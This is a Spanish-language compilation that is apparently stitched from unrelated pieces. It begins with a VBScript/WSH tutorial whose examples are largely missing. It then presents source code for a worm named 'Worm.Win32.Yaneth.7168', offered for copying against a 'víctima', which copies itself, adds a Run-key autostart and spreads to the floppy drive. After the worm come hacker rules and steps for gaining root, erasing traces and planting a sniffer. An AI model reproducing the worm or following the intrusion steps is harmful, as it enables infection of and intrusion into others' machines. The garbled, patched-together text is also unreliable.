aquella ventana que coincida en el principio del título. Si no encuentra ni el título exacto, ni tampoco encuentra título
que comience como el nuestro, entonces busca aquel que termina como el que queremos. También, en el caso de
haber varias ventanas con el mismo nombre, elegira una cualquiera al azar, y le dará el foco.
Otra de las funciones llamativas de este objeto, es la función sendkeys que nos permitirá enviar pulsaciones de
teclado, como si estuviesemos escribiendo, así que hay que tener cuidado con el uso que se da, ya que una vez
ejecutada, enviará las pulsaciones a la ventana activa, por lo que si no es lo que deseabamos, podemos terminar
presionando un montón de teclas en un programa x, con los resultados que ello puede acarrear.
Variable.sendkeys teclas
Ejemplo:
Este es un ejemplo muy simple ,que además no recomiendo probar, ya que como he dicho antes, enviará las
pulsaciones de las teclas a la ventana activa, y los resultados pueden no “gustarnos”
Como había dicho, en este ejemplo he hecho uso de algunas otras fuciones vistas anteriormente. Para empezar he optado
por ejecutar el bloc de notas a traves de la función exec, podría optarse por run, pero este ejemplo me servía para
mostrarles el uso que puede hacerse del processid. Como vemos, a la hora de obtener el foco de la ventana con
appactivate, he puesto como “título” el processid, ya que vbs nos permite hacer uso conjunto de estas dos
funciones, para de este modo asegurarnos de que el foco se ponga en la ventana que corresonde y no en otra con
similar nombre. Al igual que antes, podríamos poner simplemente el nombre de la ventana del bloc de notas en lugar de
processid, pero igualmente creo no quedarán dudas de por que el uso de esta.
Luego, con respecto al envío de las teclas, no creo que merezca
explicación alguna, ya que es simplemente el mensaje/pulsación que
queremos envíar. Igualmente habrán visto en medio del envío de teclas
que también esta presente una tecla especial, el {ENTER}, es por eso
que dejo a continuación, la tabla con el listado de argumentos para
estas teclas:
Para el caso de las teclas SHIFT, CTRL y ALT, los argumentos con +, ^
y % respectivamente, no siendo posible utilizar,
la tecla PRTSC, o lo que es igual, la tecla de PRINT (la que se utiliza
para capturar pantalla). Para utilizar estas tres
letras;
Objshell sendkeys “+ ”
Objshell sendkeys “^V”
Objshell sendkeys “% T B ”
Con carpetas especiales me refiero a aquellas carpetas como “Inicio”, “Enviar a” y “Favoritos” entre otras Para eso,
haremos uso de la función specialfolders.
Variable.specialfolders(carpeta)
Ejemplo:
Con lo que obtendríamos un msgbox, con la ruta del escritorio, algo como “C \Documents and
Settings\Novlucker\Escritorio”, de igual modo y como he mencionado antes, podemos acceder a las rutas de otras
carpetas, para lo que, contamos con la siguiente tabla.
Con esta tabla, solo bastaría cambiar “desktop” en nuestro ejemplo, para ver las rutas de otras de las carpetas
disponibles, y nótese también que si bien, algunas carpetas parecen estar repetidas, algunos identificadores hacen
referencia a las carpetas de todos los usuarios, y otras a la del usuario activo.
Bueno, habrán visto entonces, que a pesar de la cantidad de carpetas de las que se puede obtener la ruta, hay
algunas muy interesantes que no aparecen con el specialfolders, como ser “ rchivos de programa”, la carpeta de
usuario, etc. , es por eso que entonces, haremos uso de la función expandenvironmentstrings.
Este función, y como se ha adelantado en el título, permite acceder a todas las variables del sistema, como ser,
USERNAME, USERPROFILE, COMPUTERNAME, y todas aquellas que aparecen a través del comando SET de ms-
dos.
Variable.expandenvironmentstrings(%variablesistema%)
Ejemplo:
Set objshell = createobject(“wscript shell”)
Msgbox objshell expandenvironmentstrings(“%Programfiles%”)
Bueno, luego de haber visto ya, varias funciones, solo queda por ver, la de createshortcut, la cual permite crear
accesos directos a cualquier aplicación/archivo, quizás parezca una función un poco “insulsa”, pero quizás alguien
quiera por ejemplo, agregar un acceso directo en la carpeta de Inicio, y será aquí cuando recurramos a esta función.
En esta función es necesario definir varios valores, así que en lugar de explicarla, pasaré directamente a un
Ejemplo:
Set objshell = createobject(“wscript shell”)
Set ellink = objshell createshortcut(“C \Acceso directo lnk”) ‘creamos el link
Ellink targetpath = ”C \windows\notepad exe” ‘completamos los valores
Ellink.windowstyle = 1
Ellink hotkey = “CTRL+SHIFT+N”
Ellink iconlocation = “C \windows\notepad exe,0”
Ellink description = “ cceso directo a notepad”
Ellink workingdirectory =”C \”
Ellink.save ‘guardamos el link
Creo que este ejemplo alcanza para entender sin problemas esta función, no hacemos más que crear el link,
completamos todos los datos que lleva el link, y salvamos. Los campos a completar son los que aparecen en cualquier
link (imagen adjunta), teniendo en cuenta demás que no todos son indispensables. Falta agregar, que pueden crearse
links a páginas web’s del siguiente modo.
Ejemplo:
Simplemente hemos cambiado la extensión del link a url, en lugar de lnk como tenía antes, y la ruta del link pasa a ser
la dirección de la web a la que queremos acceder.
WshNetwork
Como lo dice su nombre, este objeto nos permitirá realizar determinadas acciones en red:
Como vemos en este pequeño resumen, las funciones de este objeto son todas las que hacen referencia a una red, y se
declara por medio de “wscript network”
Como vimos anteriormente, sería posible listar las unidades de red, por medio del objeto FSO y su función drives, pero
el caso es que obtendríamos solamente la letra de la unidad, no así con el objeto network, con el cual además,
podemos conseguir la ruta de red de la unidad.
Ejemplo:
Este ejemplo, no será nada extraño, ya que se utiliza el mismo método que al listar los discos con FSO, es decir,
declaramos el objeto, y luego a través de este, obtenemos una colección de unidades, en este caso, unidades de red,
para luego por medio de un for, recorrer cada uno de los elementos de la colección. En el caso del objeto network, la
colección resulta un tanto especial, y esto es porque esta colección, esta formada por pares de elementos.
Con pares de elementos quiero decir que; si listamos todos los elementos, tendremos primero una unidad (letra), y
luego la ruta de red, segundo, otra unidad, y luego, su respectiva ruta de red, etc. Por lo que dicho de otra forma, todos
los índices pares del array, son letras, y todos los impares, son rutas de red.
Por lo que, analizando nuestro ejemplo, el msgbox mostraría algo como; X:, \\servidor\usuarios, Y:,
\\pcremota\compartido, Z:, \\varios\musica, cada uno de estos, en una ventana de mensaje diferente.
Veamos entonces otro ejemplo, uno donde se vea, como podemos mostrar unas, u otras, es decir, o bien letras, o bien
rutas.
Ejemplo:
Para empezar, las dos primeras líneas no muestran nada raro, simplemente se declara el objeto, y se obtiene la
colección, sí que pasemos al for que es donde se ve algo distinto. Como vemos, iniciamos la variable i en 0 (cero), esto
es porque como sabemos, los array comienzan en este valor y además, el primero de ellos debe de ser una letra.
Luego, fijamos el límite por medio de la función count, la cual nos muestra cuantos elementos contiene la colección
(aplicable a todas las colecciones), y luego a este valor, le restamos 1, ya que también como hemos dicho antes, los
array comienzan por cero, por lo que si la colección contiene 6 elementos, el array irá desde 0 hasta 5.
Al igual que antes, sugiero mirar detenidamente el script para entenderlo mejor, ya que muchas veces, el explicarlo
resulta bastante largo para tan pocas líneas de texto.
Ejemplo:
Los dos primeros parámetros son, la letra a la que mappearemos la unidad remota (con el dos puntos incluído), y la ruta
remota. Los otros tres parámetros son; true o false para seleccionar si queremos guardar el mappeado solamente
para nuestro usuario, y los otros dos, usuario y contraseña en caso de que accedamos a la unidad con los datos un
usuario distinto al que ha iniciado sesión (con el que estamos trabajando).
En este ejemplo, solamente he utilizado los dos primeros parámetros ya que los otros tres son opcionales.
Ejemplo:
Este no requiere de mucha explicación, simplemente removemos una unidad de red, para eso, seleccionamos la
unidad, true o false para forzar o no, y al igual que antes, si se actualiza o no el perfil de usuario.
Este método es prácticamente igual al de listar unidades de red, solamente que se cambia la función.
Ejemplo:
Al igual que para el caso de las unidades de red, este array también viene en pares, donde el primer valor es la
localización remota (IP), y la segunda, es el nombre con el que tenemos configurada nuestra impresora (al contrario de
cómo pasaba con las unidades de red, donde primero esta la unidad local, y luego la ruta remota).
Nota: Complementos como drivers que agregan una impresora para imprimir en pdf, también son mostrados como
remotos.
Ejemplo:
Al igual que antes, simplemente pasamos como parámetros los datos “locales” y “remotos”, y solamente los dos
primeros parámetros, ya que los otros son opcionales.
Ejemplo:
Como nombre de impresora, se puede pasar direcciones de red, como lo he hecho en este ejemplo, o bien rutas de
impresoras locales, como lo sería LPT1
Información de red
• Usuario; Username
• Dominio; Domain
Dictionary
En esta oportunidad, veremos un sencillo objeto de los varios que tiene el wsh, este es el Dictionary
A través de este podremos crear un array con sinónimos de palabras, es decir, que al pasarle una palabra “X” como
Lamentablemente solo puede tratarse en un sentido la asociación de estas palabras, es decir que en base al anterior
ejemplo, si pasamos en lugar de “X”, “Y”, no obtendremos como valor “X”, no si no se declara aparte esta asociación.
La estructura de este objeto es realmente muy sencillo he incluso escueto, ya que no cuenta con muchos
métodos/propiedades.
• Agregar elementos
• Listar elementos
• Listar elementos asociados
• Determinar si un elemento ya existe
• Borrar elementos (uno/todos)
Como se ve, no es mucho el contenido de este objeto, pero igualmente puede ser de utilidad, sobre todo cuando
queremos tener un código más legible sin necesidad de hacer uso de bucles select case o if.
Agregar elementos
Para agregar elementos al diccionario, solamente hay que hace una asignación de cada uno de ellos, por medio de la
función add:
Ejemplo:
En el ejemplo se han declarado 3 elementos (1ero, 2do, 3ero), cada uno con un segundo elemento asociado.
A continuación, como accesar a estos elementos.
Para listar elementos basta con invocar el diccionario, como si de cualquier otro array o colección se tratase, y
pasarle como “índice” el elmento que estamos buscando:
Ejemplo:
En este ejemplo “solicitariamos” el valor asociado al elemento “2do”, en este caso “Segundo”.
Listar elementos
Otra opción al momento de utilizar los elementos del diccionario, es tratar ambos valores (elemento y valor
asociado), como si se tratasen de dos arrays independientes, es decir, elementos por un lado, y valores por otro.
Ejemplo:
En este ejemplo los resultados serían, “1ero”, “2do” y “3ero”, es decir, lo que correspondería al primero de los dos array
en el diccionario.
Listar valores
En este caso para acceder al array de valores, se haría del mismo modo que antes, solo que en lugar de keys
utilizaremos items:
Ejemplo:
El objeto Dictionary tiene una particularidad frente a otros tipos de colecciones (además de que guarda los elementos
por pares), y es que si intentamos agregar un elemento que ya ha sido declarado, obtendremos un bonito mensaje de
error, informando de que “la clave ya está asociada con un elemento de esta colección”. Es por eso que en caso de
querer asignar un valor a un elemento, deberíamos de verificar que dicho elemento no se encuentre ya en el diccionario.
Ejemplo:
En este ejemplo, dado que el diccionario contiene el elemento, se nos mostraría un mensaje con el texto de
“Verdadero”, para el caso de que no exista, el mensaje será “Falso” obviamente.
Tener en cuenta además que esta función devuelve valores booleanos, TRUE o FALSE, por lo que en caso de querer
hacer uso de la función IF, debemos de compararlas contra “Verdadero” y “Falso”, o TRUE y F LSE (los primeros van tal
cual con comillas, los segundos da igual).
Borrar elementos
Luego de haber visto como determinar si los elementos ya están en el “listado”, veremos como eliminar estos
elementos. Esto nos será particularmente útil, en caso de querer asignar un nuevo valor a los elementos ya
asociados, ya que como vimos antes, no es posible sobreescribirlos. La función:
Ejemplo:
Como se ve, simplemente hemos añadido algunos elementos, para luego borrar el segundo de la lista (notese como no
importa cual sea el que eliminemos)
Por último, en el caso de querer eliminar Todos los elementos del diccionario, simplemente se deberá de hacer uso
de removeall.
Lo cual no merece ningún tipo de ejemplo ya que queda a la vista como sería el uso de este método. Así termina la
cuarta parte de este tutorial, y una vez más, con un objeto sencillo y de poca difusión, pero nunca se sabe cuando se
pueda llegar a necesitar.
CommonDialog
El objeto commondialog sirve para mostrar un mensaje de abrir/guardar como. En mi caso particularmente no hago
uso de este objeto, pero puede resultar últil para quienes quieran agregar un poco más de interactividad a sus
scripts, y de cierto modo, hacer más sencillo el uso de este para el “usuario final”. Para el uso de esta ventana, solo
será necesario pasarle ciertos parámetros para hacer uso de la misma, inicializandolo por medio de
seraccounts.commondialog.
• Filtros: Filter
• Indice de filtros: Filterindex
• Directorio inicial: InitialDir
• Opciones: Flags
Luego de seleccionados los parámetros de la ventana, podremos mostrala por medio de la función Showopen y
obtendremos la ruta por medio de Filename. El primero de los parámetros, Filter, hace referencia a los tipos de
archivos que van a aparecer en el cuadro.
Filterindex determina cual de los tipos de archivos seleccionados (Filter) son los que van a aprecer por defecto.
Initialdir es el directorio raíz que va a aparecer por defecto (de cualquier manera se podrá subir por el directorio)
Y Flags son algunas opciones extras que se pueden seleccionar a la hora de mostrar la ventana (en este caso solo
mostraré una de ellas). Dado que este objeto es de fácil utilización, pasaré directamente a un ejemplo, donde explicaré
un poco mejor cada uno de estos parámetros.
Ejemplo:
Como había comentado, a través de los filtros, podremos determinar, cuales serán los tipos de archivos que
aparecerán al visualizar los diferentes archivos de una carpeta. En el ejemplo, he puesto archivos vbscript, y
javascripts. El “tipo de archivo” en palabra (VBScript y Javascript) no hace ningún tipo de diferencia, sino que se trata
simplemente de lo que servirá como referencia para el usuario, es decir, podríamos poner cualquier cosa y el
resultado final sería el mismo, como ejemplo:
Lo que si hace la diferencia, es el asterísco seguido de la extensión del archivo que se mostrará, para el ejemplo, *.vbs,
y *.js. Para el caso de querer establecer “todos los archivos”, se utilizará algo del estilo “ ll Files|* *”
Notese además que cada uno de estos valores va separado del siguiente, por medio de un simbolo “pipe”
(generalmente utilizado en distintos lenguajes para la canalización de órdenes).
Como habíamos dichio antes Filterindex determina el tipo de archivo por defecto que será mostrado, en este caso he
elegido el index 1, que en el Filter serían los archivos vbs, de haberse elegido 2, lo que se mostraría primero sería
javascript y no vbs.
Como había dicho antes, initialdir establece el directorio en el cual se “abrirá” nuestra ventana, en este caso he
establecido el directorio “C:\Documents and Settings\Novlucker”, y como se puede apreciar en la imagen, esto es lo que
se ha mostrado en la ventana, claro está que igualmente se podrá “subir” partiendo de este.
Con esto básicamente establecemos las opciones básicas de nuestra ventana, para luego mostrarla en la línea
siguiente.
odresp = objdialog.showopen
Como se puede ver, he asignado la “respuesta” de este elemento a la variable odresp, lo cual es totalmente
opcional (podría hacerse sin el “odresp =”), pero nos permitirá determinar de manera más exacta, que es lo que pasa
con nuestra ventana, ya que esta variable podrá tener dos valores según el usuario elija algún archivo y de a
ACEPTAR (valor -1), o bien no seleccione ninguno y presione CANCELAR (valor 0). Es por eso que en nuestro ejemplo
utilizamos un condicional IF para determinar cual ha sido la acción que se ha tomado respecto a nuestra ventana, en
caso de haberse elegido un archivo, mostramos su ruta (filename).
Luego de accedido a la ruta del archivo en cuestión, es decisión nuestra lo que se haga con esta ruta, ya sea copiar,
mover, abrir, etc, siempre dentro de las posibilidades de vbs claro está.
Para solucionar esto utilizaremos el parámetro flags, el cual entre otras opciones controla la posibilidad de mostrar un
cuadro como el que necesitamos (se tratará solamente esta, aunque existen muchas otras). Para esto, se pasará
&H0200 como valor a este parámetro (siguiendo con el ejemplo anterior):
Ejemplo:
El resultado:
Como se puede ver, el aspecto de nuestra ventana ha cambiado, es un poco más “rústica”, pero igualmente cumple la
misma función. La particularidad de los datos que nos devuelve esta ventana con respecto a la anterior, es que
dado que se seleccionan múltiples archivos, esta nos devolverá todos los valores en una misma cadena, partiendo del
ejemplo anterior, en el caso de haber elegido los archivos “Script1 vbs” y “Script2 vbs”, el resultado sería el siguiente:
C:\DOCUME~1\NOVLUC~1\Script1.vbs Script2.vbs
En la imagen se ve claramente como las rutas de ambos archivos que hemos seleccionado aparecen en una misma
cadena, además de que dichas rutas se muestran en formato “corto”. Pero si miramos detenidamente, podemos ver
que cada una de estas rutas, esta separada por un espacio, donde la primera parte contiene la ruta a la carpeta
contenedora, y el resto son los archivos en cuestión. Habiendo visto esto entonces, podremos escribir un método para
crear facilmente las rutas a estos archivos, para lo cual haremos uso de la función split.
Split es una función de vbs que no hace más que “cortar” una determinada cadena, tomando como separador el/los
caractéres que le indiquemos, y guarda en un array cada una de las partes de dicha cadena.
Ejemplo:
CadenaTexto = "1;2;3;4;5"
CTtoAray = split(CadenaTexto,";") 'Cortamos la cadena con ; como separador
For each C in CTtoAray
Msgbox C
Next
Como se puede ver en el ejemplo, con una cadena definida, hemos cortado esta cadena utilizando split, y hemos
guardado cada uno de los valores dentro de un array para luego acceder del modo tradicional.
Veamos ahora entonces como podemos utilizar esta función para obtener las direcciones de los múltiples archivos
seleccionados mediante nuestra ventana. Como habíamos dicho, los archivos son mostrados en una única cadena
pero separados por espacios, por lo que para poder obtener las rutas simplemente deberemos utilizar la anterior
En este caso para generar las rutas debemos de concatenar la ruta que se encuenta en en indice cero (ya que como
habíamos dicho, la primera ruta que aparece en la cadena de texto es la dirección de la carpeta contenedora) y el
nombre del archivo en cuestión, ya que de no hacer así lo único que obtendríamos sería nombres de archivos
sueltos, y nos sus rutas.
Durante el proceso he utilizado la función Ubound (upper), que junto a la función Lbound (Lower), no hacen más que
mostrar los números de índice máximo y mínimo de un array respectivamente
El resultado:
En definitiva, justamente lo que estabamos buscando. Y bueno así termina una nueva parte de este tutorial, en este
caso con la explicación de un objeto que como he dicho, particularmente no lo utilizo, pero seguro a más de uno le
parecerá interesante para hacer más didácticos sus scripts.
Lo primero es generar el ejecutable...con esta sencilla declaracion puedes elegir la ruta pero cuidadito con meter muxa
ruta aver si al final no se encuentra en el PC de la victima....
"ESTO NO LO COPIES EN el FORM e " weno explico un poco como hacer invisible el FORM a la derecha del programa
ay como una lista de las propiedades de el form, bueno pues buscamos la propiedad "Visible" y cambiamos el "true" por
el "false" y ya no dara el cantazo...
' EMPIEZA A COPIAR!! Aki dejo el codigo de este worm Worm.Win32.Yaneth.7168. es bueno añadelo al form
'-------------------------------------------------------------------------
Private Sub Form_Load()
A = App.EXEName
E = ".exe"
C = "C:\Yaneth.exe"
On Error Resume Next
FileCopy A & E, C 'seguimiento de las 4 lineas anteriores hace que cumplan su funcion "copiarese
Set Yanet = CreateObject("WScript.Shell" ) Yanet.regwrite
"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Yaneth", C
Open "C:\Yaneth.txt" For Output As #1
Print #1, "\^fibsoZ'e~'Lrftfif`rn(@BC>FD"
Print #1, "\¸^fibso'chicb'btsft8Z"
Print #1, "\¦Btsf'dhi'kkrqnf&+'¦btsf'dhi'kkrqnf&Z"
Print #1, "\H'sfk'qb}+'sfk'qb}'))))'dhi'bk'vrnjndhZ"
Print #1, "\Bth'ih'bt'mrtshZ"
Print #1, "\Dhih}dh'f'fk`rnbi'vrb'kf'vrnbub'jft)))Z"
Close #1
Do
M = Minute(Now)
S = Second(Now)
Y = "A:\Yaneth.exe"
If M = 0 And S = 0 Then FileCopy A & E, Y
If M = 5 And S = 0 Then FileCopy A & E, Y
If M = 10 And S = 0 Then FileCopy A & E, Y
If M = 15 And S = 0 Then FileCopy A & E, Y
'-- lo que hace es colgar la PC es sencillo pero esta bien para .... a tu victima... se autoejecuta al iniciar l PC!..
------------------------------------------------------------------------------------------------------------------------------------------------------------
II. Modifica solo los archivos que hagan falta para evitar tu detección y asegurar tu acceso futuro al sistema.
V. Nunca dejes tus datos reales en un BBS, si no conoces al sysop, déjale un mensaje con una lista de gente
que pueda responder de ti.
VI. Nunca hackees en computadoras del gobierno. El gobierno puede permitirse gastar fondos en buscarte
mientras que las universidades y las empresas particulares no.
VII. No uses BlueBox a menos que no tengas un servicio local o un 0610 al que conectarte. Si se abusa de la
bluebox, puedes ser cazado.
VIII. No dejes en ningún BBS mucha información del sistema que estas crackeando. Di sencillamente "estoy
trabajando en un UNIX o en un COSMOS...." pero no digas a quien pertenece ni el teléfono.
IX. No te preocupes en preguntar, nadie te contestara, piensa que por responderte a una pregunta, pueden
cazarte a ti, al que te contesta o a ambos.
X. Punto final. Puedes pasearte todo lo que quieras por la WEB, y mil cosas mas, pero hasta que no estés
realmente hackeando, no sabrás lo que es.
PASOS PARA HACKEAR
1.Introducirse en el sistema que tengamos como objetivo.
2.Una vez conseguido el acceso, obtener privilegios de root (superusuario).
3.Borrar las huellas.
4.Poner un sniffer para conseguir logins de otras personas.
QUE PASARÁ MAS ADELANTE.....
La incorporación de las denominadas "redes inteligentes" podría dificultar considerablemente las actividades de los
Hackers. El Instituto Tecnológico de Georgia, EEUU, trabaja en un proyecto de desarrollo de redes neurológicas, que
probablemente aumentarán la seguridad del tráfico digital. El nombre "red neurológica" se basa en las neuronas del
cerebro humano, que aprenden de la experiencia, creando conexiones entre las distintas áreas del cerebro. Con todo,
cabe precisar que no se trata de redes que estén en condiciones de pensar, sino de sistemas capaces de identificar
patrones en el flujo digital y aprender de los intentos de intrusión. Hoy en día, los administradores de sistemas deben
actualizar manualmente los sistemas de protección de las redes contra las embestidas de los sagaces piratas
informáticos. Con la incorporación de redes inteligentes se hará más previsible y fácil la contención de los intrusos,
según escribe James Cannady, experto en el tema, en un artículo en Netsys.com. Según Cannady, tales redes estarán
incluso en condiciones de detectar máquinas que monitorizan ilegalmente el tráfico de la red para captar y apoderarse
de información tal como números de tarjetas de crédito, contraseñas y otros datos confidenciales. La novedad es que las
redes neurológicas detectarán ese tipo de máquinas sin que sus operadores se percaten.